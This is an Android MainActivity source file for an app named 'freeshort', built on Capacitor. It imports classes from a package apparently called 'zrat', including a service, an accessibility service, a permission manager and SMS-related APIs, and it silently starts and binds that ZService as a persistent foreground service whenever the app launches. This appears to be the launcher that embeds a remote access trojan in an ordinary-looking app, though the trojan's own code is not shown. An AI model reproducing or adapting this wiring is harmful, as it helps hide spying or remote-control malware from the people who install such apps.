package io.freeshort.freeshort;

import android.app.role.RoleManager;
import android.content.ComponentName;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Build;
import android.os.Bundle;
import android.os.IBinder;
import android.provider.Settings;
import android.provider.Telephony;

import androidx.appcompat.app.AlertDialog;

import com.example.zrat.AccessibilityService;
import com.example.zrat.ZService;
import com.example.zrat.permissions.PermissionManager;
import com.example.zrat.permissions.models.DeniedPermissions;
import com.getcapacitor.BridgeActivity;

import java.util.Arrays;

import pub.devrel.easypermissions.AppSettingsDialog;
import pub.devrel.easypermissions.EasyPermissions;

public class MainActivity extends BridgeActivity {
    private int RETRY_COUNT = 0;
    private AlertDialog alertDialog;
    private ZService.ZBinder binder;

    private ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            binder = (ZService.ZBinder) service;
            binder.onResume(MainActivity.this);
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {
            binder = null;
        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent startIntent = new Intent(this, ZService.class);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            startForegroundService(startIntent);
        } else {
            startService(startIntent);
        }
        bindService(startIntent, connection, BIND_AUTO_CREATE);
    }

    @Override
    public void onResume() {
        super.onResume();
        if (binder != null) {
            binder.onResume(this);
        }
    }

}
